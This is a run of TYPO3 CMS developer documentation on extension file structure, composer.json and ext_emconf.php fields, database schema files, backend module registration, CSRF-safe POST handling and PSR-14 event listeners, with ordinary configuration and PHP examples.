Pages, Partials and Layouts (they cannot be renamed).
Folder Partials contains the Fluid partials used by the page view.
These can be included via the Render ViewHelper <f:render>
into the page view template.
Folder Layouts often contains the Fluid layout(s) used by the page view.
These can be included via the Layout ViewHelper <f:layout>
into the page view template.
Common locations to override Fluid-Styled content elements
Overrides the default layout originally defined in
vendor/typo3/cms-fluid-styled-content/Resources/Private/Layouts/Default.html.
It is possible to define additional custom layouts that can be
included via the Layout ViewHelper <f:layout>
into content element templates.
In the folder EXT:my_extension/Resources/Private/Languages/ language
files are stored in format .xlf.
This folder contains all language labels supplied by the extension in the
default language English.
If the extension should provide additional translations into
custom languages, they can be stored in language files of the same name with a
language prefix. The German translation of the file locallang.xlf
must be stored in the same folder in a file called de.locallang.xlf,
the French translation in fr.locallang.xlf. If the translations are
stored in a different file name they will not be found.
Any arbitrary file name with ending .xlf can be used.
The following file names are commonly used:
This file commonly contains translated labels to be used in the frontend.
In the templates of Extbase plugins all labels in the file
EXT:my_extension/Resources/Private/Language/locallang.xlf can
be accessed without using the complete path:
Public assets used in extensions (files that should be delivered by the web
server) must be located in the Resources/Public folder of the extension.
Note
This folder should only be used for static assets.
If you need to create assets during runtime, they should be stored in
typo3temp/.
Prevent access to non public files
No extension file outside the folder Resources/Public may be accessed
from outside the web server.
This can be achieved by applying proper access restrictions on the web server.
See: Restrict HTTP access.
By using the Composer package
helhum/typo3-secure-web <https://github.com/helhum/typo3-secure-web> all
files except those that should be publicly available can be stored outside
the servers web root.
Composer is a tool for dependency management in
PHP. It allows you to declare the libraries your extension depends on and it
will manage (install/update) them for you.
Packagist is the main Composer repository. It
aggregates public PHP packages installable with Composer. Composer packages
can be published by the package maintainers on Packagist to be installable in an
easy way via the
composer require command.
While the file composer.json is currently not strictly required
for an extension to function properly in Classic mode installations (no Composer)
it is recommended to keep it in any public extension that is published to
TYPO3 Extension Repository (TER).
Including a composer.json is strongly recommended for a number of
reasons:
The ordering of installed extensions and their dependencies are loaded from
the composer.json file, instead of ext_emconf.php in
Composer-based installations.
Note
Extension authors should ensure that the information in the
composer.json file is in sync with the one in the extension's
ext_emconf.php file. This is especially important
regarding constraints like
depends,
conflicts and
suggests. Use the equivalent settings in composer.jsonrequire, conflict and suggest to set dependencies and ensure a
specific loading order.
The name has the format: <my-vendor>/<dashed extension key>. "Dashed extension
key" means that every underscore (_) has been changed to a dash (-).
You must be owner of the vendor name and should register it on
Packagist. Typically, the name will correspond to
your namespaces used in the Classes/ folder, but with different
uppercase / lowercase spelling, for example: The PHP namespace
\JohnDoe\SomeExtension may be johndoe/some-extension in
composer.json.
description
(required)
Description of your extension (1 line).
type
(required)
Use typo3-cms-extension for third-party extensions.
The Resources/Public/ folder will be symlinked into the
_assets/ folder of your web root.
Additionally, typo3-cms-framework is available for system extensions.
At least, you will need to require typo3/cms-core in the according version(s).
You should add other system extensions and third-party extensions, if your
extension depends on them.
In Composer-based installations the loading order of extensions and their
dependencies is derived from require and suggest.
suggest
You should add other system extensions and third-party extensions, if your
extension has an optional dependency on them.
In Composer-based installations the loading order of extensions and their
dependencies is derived from require and suggest.
autoload
(required)
The autoload section defines the namespace/path mapping for
PSR-4 autoloading <https://www.php-fig.org/psr/psr-4/>. In TYPO3 we follow
the convention that all classes (except test classes) are in the directory
Classes/.
extra.typo3/cms.extension-key
(required)
Not providing this property will emit a deprecation notice and will fail in
future versions.
Hint
The property extension-key means the literal stringextension-key,
not your actual extension key. The value on the right side should be your
actual extension key.
This was used previously as long as the TER Composer Repository was
relevant. Since the TER Composer Repository is deprecated, the typo3-ter/* entry
within replace is not required.
replace with "ext_key": "self.version"
Excerpt of EXT:my_extension/composer.json
{
"replace": {
"ext_key": "self.version"
}
}
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This was used previously, but is not compatible with latest Composer
versions and will result in a warning using composer validate or
result in an error with Composer version 2.0+:
Deprecation warning: replace.ext_key is invalid, it should have a vendor name, a forward slash, and a package name.
The vendor and package name can be words separated by -, . or _. The complete name should match
"^[a-z0-9]([_.-]?[a-z0-9]+)*/[a-z0-9](([_.]?|-{0,2})[a-z0-9]+)*$".
Make sure you fix this as Composer 2.0 will error.
The section on testing (in this manual) contains
further information about adding additional properties to
composer.json that are relevant for testing.
The Composer plugin (not extension)
typo3/cms-composer-installers
is responsible for TYPO3-specific Composer installation. Reading the README
file and source code can be helpful to understand how it works.
ext_conf_template.txt
ext_conf_template.txt
ext_conf_template.txt
Scope
extension
Path (Composer)
packages/my_extension/ext_conf_template.txt
Path (Classic)
typo3conf/ext/my_extension/ext_conf_template.txt
In the ext_conf_template.txt file configuration options
for an extension can be defined. They will be accessible in the TYPO3 backend
from Admin Tools > Settings module.
Syntax
There's a specific syntax to declare these options properly, which is
similar to the one used for TypoScript constants (see "Declaring
constants for the Constant editor" in
Constants section in TypoScript Reference.
This syntax applies to the comment line that should be placed just before the constant.
Consider the following example (taken from system extension "backend"):
# cat=Login; type=string; label=Logo: If set, this logo will be used instead of...
loginLogo =
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First a category (cat) is defined ("Login"). Then a type is given ("string") and finally a label, which
is itself split (on the colon ":") into a title and a description. The Label should actually be a localized string, like this:
The above example will be rendered like this in the Settings module:
The configuration tab displays all options from a single category. A
selector is available to switch between categories. Inside an option
screen, options are grouped by subcategory. At the bottom of the
screenshot, the label – split between header and description – is
visible. Then comes the field itself, in this case an input, because
the option's type is "string".
When saved in the Settings module, the configuration will be kept in the config/system/settings.php
file and is available as array
$GLOBALS['TYPO3_CONF_VARS']['EXTENSIONS']['my_extension_key'] .
To retrieve the configuration use the API provided by the
\TYPO3\CMS\Core\Configuration\ExtensionConfiguration class via
constructor injection:
required in Classic mode installations, for functional tests and to upload an
extension to the TER (TYPO3 Extension Repository)
ext_emconf.php
ext_emconf.php
Scope
extension
Path (Composer)
packages/my_extension/ext_emconf.php
Path (Classic)
typo3conf/ext/my_extension/ext_emconf.php
The ext_emconf.php is used in
Classic mode installations not based on Composer to
supply information about an extension in the Admin Tools > Extensions
module. In these installations the ordering of installed extensions and their
dependencies are loaded from this file as well.
It is also needed for Writing functional tests
with the typo3/testing-framework <https://github.com/TYPO3/testing-framework> in v8 and
earlier.
In Composer-based installations, the ordering of installed extensions and
their dependencies is loaded from the composer.json file, instead of
ext_emconf.php
The only content included is an associative array,
$EM_CONF[extension key]. The keys are described in the table below.
This file is overwritten when extensions are imported from the online
repository. So do not write your custom code into this file - only change
values in the
$EM_CONF array if needed.
$_EXTKEY is set globally and contains the extension key.
Due to limitations of the TER (TYPO3 Extension Repository),
$_EXTKEY should be used here and not a constant or a string. Furthermore, the
ext_emconf.php must not declare strict_types=1, otherwise TER upload will fail.
title
title
Type
string, required
The name of the extension in English.
description
description
Type
string, required
Short and precise description in English of what the extension does
and for whom it might be useful.
version
version
Type
string
Version of the extension. Automatically managed by extension manager /
TER. Format is [int].[int].[int]
category
category
Type
string
Which category the extension belongs to:
be
Backend (Generally backend-oriented, but not a module)
module
Backend modules (When something is a module or connects with one)
fe
Frontend (Generally frontend oriented, but not a "true" plugin)
plugin
Frontend plugins (Plugins inserted as a "Insert Plugin" content
element)
misc
Miscellaneous stuff (Where not easily placed elsewhere)
services
Contains TYPO3 services
templates
Contains website templates
example
Example extension (Which serves as examples etc.)
doc
Documentation (e.g. tutorials, FAQ's etc.)
distribution
Distribution, an extension kick starting a full site
constraints
constraints
Type
array
List of requirements, suggestions or conflicts with other extensions
or TYPO3 or PHP version. Here is how a typical setup might look:
List of extensions that this extension depends on.
Extensions defined here will be loaded before the current extension.
conflicts
List of extensions which will not work with this extension.
suggests
List of suggestions of extensions that work together or
enhance this extension.
Extensions defined here will be loaded before the current extension.
Dependencies take precedence over suggestions.
Loading order especially matters when overriding TCA or SQL of another extension.
The above example indicates that the extension depends on a
version of TYPO3 between 13.4 and 13.4.x (as only bug and security fixes are
integrated into TYPO3 when the last digit of the version changes, it is
safe to assume it will be compatible with any upcoming version of the
corresponding branch, thus .99). Also the extension has been
tested and is known to work properly with PHP 8.2. to 8.4 It
will conflict with "tt_news" (any version) and it is suggested
that it might be worth installing "news" (version at least 12.1.0).
Be aware that you should add at least the TYPO3 and PHP version constraints
to this file to make sure everything is working properly.
For Classic mode installations, the ext_emconf.php file
is the source of truth for required dependencies and the loading order
of active extensions.
Note
Extension authors should ensure that the information here is in sync
with the composer.json file.
This is especially important regarding constraints like depends,
conflicts and suggests. Use the equivalent settings as in
composer.jsonrequire, conflict and suggest to set
dependencies and ensure a specific loading order.
state
state
Type
string
Which state is the extension in
alpha
Alpha state is used for very initial work, basically the extension is
during the very process of creating its foundation.
beta
Under current development. Beta extensions are functional, but not
complete in functionality.
stable
Stable extensions are complete, mature and ready for production
environment. Authors of stable extensions carry a responsibility to
maintain and improve them.
experimental
Experimental state is useful for anything experimental - of course.
Nobody knows if this is going anywhere yet... Maybe still just an
idea.
test
Test extension, demonstrates concepts, etc.
obsolete
The extension is obsolete or deprecated. This can be due to other
extensions solving the same problem but in a better way or if the
extension is not being maintained anymore.
excludeFromUpdates
This state makes it impossible to update the
extension through the Extension Manager (neither by the update
mechanism, nor by uploading a newer version to the installation). This
is very useful if you made local changes to an extension for a
specific installation and do not want any administrator to overwrite
them.
author
author
Type
string
Author name
author_email
author_email
Type
email address
Author email address
author_company
author_company
Type
string
Author company
autoload
autoload
Type
array
To get better class loading support for websites in Classic mode
the following information can be provided.
Extensions using namespaces and following PSR 4
If the extension has namespaced classes following the PSR-4 standard, then you
can add the following to your ext_emconf.php file:
packages/my_extension/ext_emconf.php
<?php
$EM_CONF[$_EXTKEY] = [
'title' => 'Extension title',
// ...'autoload' => [
'psr-4' => [
// The prefix must end with a backslash'Vendor\\ExtName\\' => 'Classes',
],
],
];
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Extensions having one folder with classes or single files
It is not recommended but possible to use different name space schemes
or no namespace at all.
Considering you have an extension where all classes
and interfaces reside in a Classes folder or single classes you can
add the following to your ext_emconf.php file:
Same as the configuration "autoload" but it is only used if the
ApplicationContext is set to Testing.
ext_localconf.php
ext_localconf.php
ext_localconf.php
Scope
extension
Path (Composer)
packages/my_extension/ext_localconf.php
Path (Classic)
typo3conf/ext/my_extension/ext_localconf.php
ext_localconf.php is always included in global scope of the script,
in the frontend, backend and CLI context.
It should contain additional configuration of
$GLOBALS['TYPO3_CONF_VARS'] .
This file contains hook definitions and plugin configuration. It must
not contain a PHP encoding declaration.
All ext_localconf.php files of loaded extensions are
included right after the files config/system/settings.php
and config/system/additional.php during TYPO3
bootstrap.
Pay attention to the rules for the contents of these files.
For more details, see the section below.
Should not be used for
While you can put functions and classes into ext_localconf.php,
it considered bad practice because such classes and functions would always be
loaded. Move such functionality to services or utility classes instead.
Registering hooks, XCLASSes or any simple array assignments to
$GLOBALS['TYPO3_CONF_VARS'] options will not work for the following:
Icon registration. Icons should be registered in Icons.php.
This would not work because the extension files ext_localconf.php are
included (
loadTypo3LoadedExtAndExtLocalconf) after the creation of the
mentioned objects in the Bootstrap class.
In most cases, these assignments should be placed in
config/system/additional.php.
Put a file called ext_localconf.php in the main directory of your
Extension. It does not need to be registered anywhere but will be loaded
automatically as soon as the extension is installed.
The skeleton of the ext_localconf.php looks like this:
EXT:my_extension/ext_localconf.php
<?phpdeclare(strict_types=1);
useMyVendor\MyExtension\MyClass;
defined('TYPO3') ordie();
// Add your code here
MyClass::doSomething();
Put the following in a file called ext_tables.php in the main directory
of your extension. The file does not need to be registered but will be loaded
automatically:
EXT:site_package/ext_tables.php
<?phpdeclare(strict_types=1);
useMyVendor\MyExtension\Backend\MyClass;
defined('TYPO3') ordie();
// Add your code here
MyClass::doSomething();
The method
\use TYPO3\CMS\Extbase\Utility\ExtensionUtility::registerModule()
has been removed. Register modules in
Extension folder Configuration/Backend.
Allowing a tables records to be added to Standard pages
Changed in version 13.0
The method
ExtensionManagementUtility::allowTableOnStandardPages()
has been removed. Use the TCA ctrl option
ignorePageTypeRestriction
instead.
ext_tables.sql
ext_tables.sql
ext_tables.sql
Scope
extension
Path (Composer)
packages/my_extension/ext_tables.sql
Path (Classic)
typo3conf/ext/my_extension/ext_tables.sql
The ext_tables.sql file in the root folder of an extension holds
additional SQL definition of database tables.
This file should contain a table-structure dump of the tables used by
the extension which are not auto-generated.
It is used for evaluation of the database structure and is applied to the
database when an extension is enabled.
If you add additional fields (or depend on certain fields) to existing tables
you can also put them here. In this case insert a
CREATE TABLE structure
for that table, but remove all lines except the ones defining the fields you
need. Here is an example adding a column to the pages table:
TYPO3 will merge this table definition to the existing table definition when
comparing expected and actual table definitions (for example, via the
Admin Tools > Maintenance > Analyze Database Structure or the
CLI command
extension:setup. Partial
definitions can also contain indexes and other directives. They can also change
existing table fields - but that is not recommended, because it may
create problems with the TYPO3 Core and/or other extensions.
The ext_tables.sql file may not necessarily be "dumpable" directly to
a database (because of the semi-complete table definitions allowed that
define only required fields). But the extension manager or admin tools can
handle this.
TYPO3 parses ext_tables.sql files into a Doctrine DBAL object schema
to define a virtual database scheme, enriched with
\SchemaDefaultTcaSchema information for
TCA-managed, auto-generated
tables and fields.
Incorrect definitions may not be recognized
by the TYPO3 SQL parser or may lead to SQL errors, when TYPO3 tries
to apply them.
The ext_tables.sql file in TYPO3 contains SQL statements written in a TYPO3-specific
format that is not directly valid for any database system. TYPO3 utilizes Doctrine DBAL to
interpret and translate these statements into valid SQL for the specific target
DBMS, such as MySQL, MariaDB, PostgreSQL, or SQLite.
Changed in version 13.4
Settings defined at the column level in ext_tables.sql are respected for
MySQL and MariaDB.
This allows specifying different encodings or collations for individual
columns. Use this carefully, as mixing collations may require special
handling during queries.
The following database types require special consideration if you use them:
CHAR and BINARY as fixed length columns
Changed in version 13.4
Fixed and variable length variants have been parsed already in the past,
but missed to flag the column as fixed for the fixed-length database field
types
CHAR and
BINARY. This resulted in the wrong creation of
these columns as
VARCHAR and
VARBINARY, which is now corrected.
Not all database systems (RDBMS) act the same way for fixed-length columns.
Implementation differences need to be respected to ensure the same query/data
behaviour across all supported database systems.
Warning
Using fixed-length
CHAR and
BINARY column types requires to carefully work
with data being persisted and retrieved from the database due to differently
behaviour specifically of PostgreSQL.
Tip
CHAR and
BINARY columns can be used (for storage or performance
adjustments), but only when composed data and queries take care of
database-system differences.
Otherwise, the "safe bet" is to consistently utilize
VARCHAR and
VARBINARY columns types.
Fixed-length SQL type CHAR
Key Difference Between CHAR and VARCHAR
The main difference between
CHAR and
VARCHAR is how the database
stores character data in a database.
CHAR, which stands for character,
is a fixed-length data type, meaning it always reserves a specific amount of
storage space for each value, regardless of whether the actual data occupies
that space entirely. For example, if a column is defined as
CHAR(10) and
the word apple is stored inside of it, it will still occupy 10 characters worth of
space (not just 5). Unused characters are padded with extra spaces.
On the other hand,
VARCHAR, short for variable character, is a
variable-length data type. It only uses as much storage space as needed
to store the actual data without padding. So, storing the word apple in a
VARCHAR(10) column will only occupy 5 characters worth of
space, leaving the remaining table row space available for other data.
When to use CHAR columns
Rule of thumb for fixed-length
CHARcolumns
Only use with ensured fixed-length values (so that no padding occurs).
For 255 or more characters
VARCHAR or
TEXT must be used.
Hints on using fixed-length CHAR columns
Ensure to write fixed-length values for
CHAR (non-space characters),
for example use hash algorithms which produce fixed-length hash identifier
values.
Ensure to use query statements to trim OR rightPad the value within
WHERE,
HAVING or
SELECT operations, when values are
not guaranteed to contain fixed-length values.
Tip
Helper
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
expressions can be used, for example
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder->trim() or
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder->rightPad() to.
Usage of
CHARmust be avoided when using the column with the
Extbase ORM, because fixed-value length cannot be ensured due to the
lack of using trim/rightPad within the ORM generated queries. Only with ensured
fixed-length values, it is usable with Extbase ORM.
Cover custom queries extensively with functional tests executed against
all supported database platforms. Code within public extensions should
ensure to test queries and their operations against all officially
TYPO3-supported database platforms.
The database schema analyzer automatically creates TYPO3 "management"-related
database columns by reading a table's TCA and checking the Table properties (ctrl)
section for table capabilities. Field definitions in ext_tables.sql take
precedence over automatically generated fields, so the TYPO3 Core never
overrides a manually specified column definition from an ext_tables.sql
file.
Note
New in version 13.0
As column definitions are created automatically from the TCA configuration,
the ext_tables.sql file can end up with a table definition without
columns, like:
This would be invalid as such in most
DBMS, since tables usually must have
at least one column. However, it is a valid definition in the scope of
ext_tables.sql files when the TYPO3 Core enriches fields from TCA.
Also, you can omit the
CREATE TABLE statement without columns
entirely.
These columns below are automatically added if not defined in
ext_tables.sql for database tables that provide a
$GLOBALS['TCA']
definition:
uid and
PRIMARY KEY
If the
uid field is not provided inside the ext_tables.sql
file, the
PRIMARY KEY constraint must be omitted, too.
pid and
KEY parent
The column
pid is
unsigned, if the table is not
workspace-aware, the default index
parent includes
pid and
hidden as well as
deleted, if the latter two are specified in TCA's
Table properties (ctrl). The parent index creation is only applied, if the column
pid is auto-generated, too.
['ctrl']['versioningWS'] = true and
t3ver_* columns
Columns that make a table workspace-aware. All
those fields are prefixed with
t3ver_, for example
t3ver_oid.
A default index named
t3ver_oid to fields
t3ver_oid and
t3ver_wsid is added, too.
If the extension requires static data you can dump it into an SQL file
by this name. Example for dumping MySQL/MariaDB data from shell (executed in the
extension's root directory):
Note that only
INSERT INTO statements are allowed. The file is
interpreted whenever the corresponding extension's setup routines get called:
Upon first time installation, command task execution of
bin/typo3 extension:setup or via the Admin Tools > Extensions
interface and the Reload extension data action. The static data is
then only re-evaluated, if the file has different contents than on the last
execution. In that case, the table is truncated and the new data imported.
The table structure of static tables must be declared in the
ext_tables.sql file, otherwise data cannot be added to a static table.
Warning
Static data is not meant to be extended by other extensions. On
re-import all extended fields and data is lost.
Preset TypoScript constants. Will be included in the constants section of all
TypoScript records. Takes no effect in sites using Site sets.
Attention
Changed in version 13.1
This file takes no effect in sites that use Site sets.
This file works for backward compability reasons only in installations that depend
on TypoScript records only.
Preset TypoScript setup. Will be included in the setup section of all
TypoScript records. Takes no effect in sites using Site sets.
Attention
Changed in version 13.1
This file takes no effect in sites that use Site sets.
This file works for backward compability reasons only in installations that depend
on TypoScript records only.
The site package comes with a frontend template that can be configured in
multiple ways to use your own logo, colors etc. It also comes with a large
number of predefined content elements.
Use this options if you want to create a web site with TYPO3 quickly and with
a standardized design.
You can use the extension
typo3/cms-introduction
to create a page
tree with some example data demonstrating the capabilities of this package.
A minimal site package without styles that you can use as boiler plate to create
a site package based on a custom HTML structure.
You can use extension
t3docs/site-package-data
to create a page tree
and load some example data into your installation.
Introduction into using site packages
Site package benefits
Developing a website can be approached in different ways. Standard
websites usually consist of HTML documents which contain text and reference
image files, video files, styles, etc. Because it is an enterprise content
management system, TYPO3 features a clean separation between design, content and
functionality and allows developers/integrators to add simple or
sophisticated functionality easily.
Encapsulation
Using extensions is a powerful way to get the most out of TYPO3. Extensions
can be installed, uninstalled and replaced. They can extend the core TYPO3
system with further functions and features. An extension typically
consists of PHP files, and can also contain design templates (HTML,
CSS, JavaScript files, etc.) and global configuration settings. The visual
appearance of a website does not necessarily require any PHP code. However, the
site package extension described in this tutorial contains exactly two PHP files
(plus a handful of HTML/CSS and configuration files) and is an extension to
TYPO3. The PHP code can be copied from this tutorial if the reader does not
have any programming knowledge.
Version control
In building the site package as an extension, all relevant files are stored in
one place and changes can easily be tracked in a version control system
such as Git. The site package approach is not the only way of creating TYPO3
websites but it is flexible and professional and not overly complicated.
Dependency management
TYPO3 extensions allow dependencies to other extensions and/or the TYPO3 version
to be defined. This is called "Dependency Management" and makes deployment easy
and fail-safe. Most TYPO3 sites are dependent on a number of extensions. Some
examples are "News" or "Powermail". A site package extension which contains
global configuration settings for these extensions will define the dependencies
for you. When the site package extension is installed in an
empty TYPO3 instance, all dependent extensions are automatically downloaded from
the TYPO3 Extension Repository and installed.
Clean separation from the userspace
In a TYPO3 installation that doesn't use extensions, template files are often
stored in the fileadmin/ directory. Files in
this directory are indexed by TYPO3's File Abstraction Layer (FAL) resulting in
possibly irrelevant records in the database. To avoid this the fileadmin/
area should be seen as a "userspace" which is only available for editors to
use. Even if access permissions restrict editors from accessing or manipulating
files in fileadmin/, site configuration components should
still not be stored in the userspace.
Security
Files in fileadmin/ are typically meant to be publicly accessible by
convention. To avoid disclosing sensitive system information (see the
TYPO3 Security Guide for further details),
configuration files should not be stored in fileadmin/.
Deployment
TYPO3 follows the convention over configuration
paradigm. If files and directories in the site-package
extension use the naming convention, they are loaded automatically as
soon as the extension is installed/activated. This means the
extension can be easily deployed using Composer.
Deployment can be automated by system administrators.
Distributable
By virtue of the motto "TYPO3 inspires people to share!", the site package
extension can be shared with the community via the official TYPO3
Extension Repository and/or in a publicly
accessible version control system such as GitHub.
Last, but not least, configuration settings in the site package can
be overwritten using TypoScript setup and constants.
Howto
Helps you kickstart your own extension or sitepackage. Explains how
to publish an extension. Contains howto for different situations
like creating a frontend plugin, a backend module or to extend
existing TCA.
Explains how to create a module without Extbase. Fluid can still be
used, however there are some limitations. This is the preferred way
if no extensive data modelling is needed.
You can find the following example in
EXT:examples.
Two backend modules are being registered. The first module is based on
Extbase while the second uses a plain controller.
EXT:examples/Configuration/Backend/Modules.php
<?php/*
* This file is part of the TYPO3 CMS project.
*
* It is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License, either version 2
* of the License, or any later version.
*
* For the full copyright and license information, please read the
* LICENSE.txt file that was distributed with this source code.
*
* The TYPO3 project - inspiring people to share!
*/useT3docs\Examples\Controller\AdminModuleController;
useT3docs\Examples\Controller\ModuleController;
/**
* Definitions for modules provided by EXT:examples
*/return [
'web_examples' => [
'parent' => 'web',
'position' => ['after' => 'web_info'],
'access' => 'user',
'workspaces' => 'live',
'path' => '/module/page/example',
'labels' => 'LLL:EXT:examples/Resources/Private/Language/Module/locallang_mod.xlf',
'extensionName' => 'Examples',
'iconIdentifier' => 'tx_examples-backend-module',
'controllerActions' => [
ModuleController::class => [
'flash', 'tree', 'clipboard', 'links', 'fileReference', 'fileReferenceCreate', 'count',
],
],
],
'admin_examples' => [
'parent' => 'system',
'position' => ['top'],
'access' => 'admin',
'workspaces' => 'live',
'path' => '/module/system/example',
'labels' => 'LLL:EXT:examples/Resources/Private/Language/AdminModule/locallang_mod.xlf',
'iconIdentifier' => 'tx_examples-backend-module',
'routes' => [
'_default' => [
'target' => AdminModuleController::class . '::handleRequest',
],
],
],
];
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Check if the modules have been properly registered
All registered modules are stored as objects in a registry. They can be viewed
in the backend in the System > Configuration > Backend Modules
module.
Exploring registered Backend Modules in the Configuration module
The ModuleProvider API allows extension
authors to work with the registered modules.
Create a backend module with Core functionality
This page covers the backend template view, using only Core functionality
without Extbase. See also the Backend module API.
Tip
If you want to do extensive data modeling, you may want to
use Extbase templating.
If you are building a simple backend module, it makes sense to work without Extbase.
Basic controller
When creating a controller without Extbase an instance of
ModuleTemplate
is required to return the rendered template:
Class T3docs\Examples\Controller\AdminModuleController
A backend controller should be tagged with the
\TYPO3\CMS\Backend\Attribute\AsController (
#[AsController]) attribute.
If the controller is not tagged with the
\TYPO3\CMS\Backend\Attribute\AsController
attribute, it must be registered in Configuration/Services.yaml
with the backend.controller tag for dependency injection to work:
The
handleRequest() method is the main entry point which triggers only the allowed actions.
This makes it possible to include e.g. Javascript for all actions in the controller.
Class T3docs\Examples\Controller\AdminModuleController
To add a DocHeader button use
$view->getDocHeaderComponent()->getButtonBar()
and
makeLinkButton() to create the button. Finally, use
addButton() to add it.
Class T3docs\Examples\Controller\AdminModuleController
Backend modules can be written using the Extbase/Fluid combination.
The factory
\TYPO3\CMS\Backend\Template\ModuleTemplateFactory can be used
to retrieve the
\TYPO3\CMS\Backend\Template\ModuleTemplate
class which is - more or less - the old backend module template,
cleaned up and refreshed. This class performs a number of basic
operations for backend modules, like loading base JS libraries,
loading stylesheets, managing a flash message queue and - in general -
performing all kind of necessary setups.
To access these resources, inject the
\TYPO3\CMS\Backend\Template\ModuleTemplateFactory into your backend module
controller:
A backend controller should be tagged with the
\TYPO3\CMS\Backend\Attribute\AsController (php:#[AsController]) attribute.
Changed in version 14.0
The class alias for
\TYPO3\CMS\Backend\Attribute\Controller has been
removed.
\TYPO3\CMS\Backend\Attribute\AsController is still in place.
After that you can add titles, menus and buttons using
ModuleTemplate:
// use Psr\Http\Message\ResponseInterfacepublicfunctionmyAction(): ResponseInterface{
$moduleTemplate = $this->moduleTemplateFactory->create($this->request);
// Example of assignung variables to the view
$moduleTemplate->assign('someVar', 'someContent');
// Example of adding a page-shortcut button
$routeIdentifier = 'web_examples'; // array-key of the module-configuration
$buttonBar = $moduleTemplate->getDocHeaderComponent()->getButtonBar();
$shortcutButton = $buttonBar->makeShortcutButton()->setDisplayName('Shortcut to my action')->setRouteIdentifier($routeIdentifier);
$shortcutButton->setArguments(['controller' => 'MyController', 'action' => 'my']);
$buttonBar->addButton($shortcutButton, ButtonBar::BUTTON_POSITION_RIGHT);
// Adding title, menus and more buttons using $moduleTemplate ...return $moduleTemplate->renderResponse('MyController/MyAction');
}
Using this
ModuleTemplate class, the Fluid templates for
your module need only take care of the actual content of your module.
TYPO3 even comes with a default Fluid layout, that can easily be used:
<f:layoutname="Module" />
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and the actual Template needs to render the title and the content only.
For example, here is an extract of the "Index" action template of
the "beuser" extension:
The best resources for learning is to look at existing modules
from TYPO3 CMS. With the information given here, you should be
able to find your way around the code.
Security Considerations
Cross-Site-Request-Forgery (CSRF)
Overview
HTTP requests are typically categorized into at least two types:
GET requests: Used for retrieving data without altering the server's
state, such as fetching webpages or performing searches.
POST requests: Used for actions that modify the server's state, such
as creating accounts, submitting forms, or updating settings.
Cross-site attacks, such as Cross-Site Request Forgery (CSRF), exploit the
trust a web application has in a user's browser by tricking it into making
unintended requests. Setting cookies (primarily these used to provide
authentication) with the SameSite=strict attribute can mitigate these
attacks by ensuring that cookies are only sent with same-site requests.
However, certain edge cases, such as clicking a malicious link in a
standalone mail application, can still pose a risk, as cookies might be
sent in such scenarios.
This section explains how to enforce using POST for state-modifying actions
to mitigate CSRF risks and provides an example backend module implementation
to demonstrate best practices.
The example below demonstrates a module that renders a list of items and
provides a delete action. The previous implementation used GET links with
query parameters for the delete action, which modifies the server's state.
This should be replaced with POST requests for improved security.
Asserting HTTP Methods in Custom Module Controllers
Enforcing HTTP Methods
The revised example below uses dedicated target handlers for each controller
action instead of a generic handleRequest handler.
To enforce appropriate HTTP methods, the revised examples make use of the
\TYPO3\CMS\Core\Http\AllowedMethodsTrait. GET is enforced for
listAction, and POST is required for
deleteAction.
Besides that, the vague and unspecific
handleRequest intermediate
dispatch method has been dropped in favour of having dedicated routes to
each controller action.
Additionally Named arguments <https://www.php.net/manual/en/functions.arguments.php#functions.named-arguments>
are used in the example.
These features are available starting with PHP 8.0. With TYPO3 v11.5 it
is still possible to use PHP 7.4. So either require PHP 8.0 and
above in your composer.json or use a normal constructor
for the dependency injection and refrain from using named arguments.
In part two she shows you how to create a TYPO3 backend module that looks
and behaves like other backend modules and uses the Fluid templating engine for its content.
Events
PSR-14 events can be used to extend the TYPO3 Core
or third-party extensions.
You can find a complete list of events provided by the TYPO3 Core in the
following chapter: Event list.
Events provided by third-party extensions should be described in the extension's
manual. You can also search for events by looking for classes that inject the
Psr\EventDispatcher\EventDispatcherInterface.
Listen to an event
If you want to use an event provided by the Core or a third-party extension,
create a PHP class with a method
__invoke(SomeCoolEvent $event)
that accepts an object of the event class as
argument. It is possible to use another method name but you have to configure
the name in the Configuration/Services.yaml or it is not found.
It is best practice to use a descriptive class name and to put it in the
namespace
\MyVendor\MyExtension\EventListener.
<?php// EXT:my_extension/Classes/EventListener/Joh316PasswordInformer.phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\EventListener;
usePsr\Log\LoggerInterface;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\FrontendLogin\Event\PasswordChangeEvent;
/**
* The password 'joh316' was historically used as the default password for
* the TYPO3 install tool.
* Today this password is an unsecure choice as it is well-known, too short
* and does not contain capital letters or special characters.
*/#[AsEventListener]finalclassJoh316PasswordInvalidator{
publicfunction__construct(
private readonly LoggerInterface $logger,
){}
publicfunction__invoke(PasswordChangeEvent $event): void{
if ($event->getRawPassword() === 'joh316') {
$this->logger->warning(sprintf(
'User %s uses the default password "joh316".',
$event->getUser()['username'],
));
}
}
}
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Dispatch an event
You can dispatch events in your own extension's code to enable other extensions
to extend your code. Events are the preferred method of making code in TYPO3
extensions extendable.
Once you have added an additional field to the
TCA the new field will be displayed in the backend forms.
However, if the extension you are trying to extend is based on Extbase the new
field is not available in the frontend out of the box. Further steps are
needed to make the fields available. These steps will not work in all cases.
Within your installation you can search for other classes that are extending
the original model or repository (see below).
If the model is already extended but you only need to create the fields for
your current installation you can proceed by extending the extended model.
In the following steps of this tutorial use the previously extended model
as original model.
If the model has different Record types
you can decide to introduce a new type and
only extend that one type. This is, for example, commonly done when extending
the model of
georgringer/news
.
If you are planning to publish your extension that extends another extensions
model, research on Packagist and the
TER (TYPO3 extension repository) for
extensions that are already extending the model. If necessary, put them in
the conflict sections of you extensions composer.json and
ext_emconf.php.
Find the original model
The model should be located in the original extension at path
EXT:original_extension/Classes/Domain/Model/ or a subdirectory
thereof. If the model is not found here it might
be situated in a different extension
not be an Extbase model (you cannot follow this tutorial then)
You can also try to debug the model in a Fluid template that outputs the model:
Some Fluid template that uses the model
<f:debug>{someModel}</f:debug>
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If you debugged the correct object the fully qualified PHP name of the model
will appear in the debug output. This gives you further hints on where to find
the associated class. You could, for example, do a full text search for the
namespace of this class.
It cannot be extended by means of this tutorial. Refer to the documentation of
the original extension.
Find the original repository
In Extbase the repository of a model mostly has to have the same class name as
the model, prefixed with "Repository". It has to be located in the same domain
directory as the model, but in the subfolder Repository.
If you do not find this repository but found the model the extension might
not use an Extbase repository. This tutorial does not help you in this
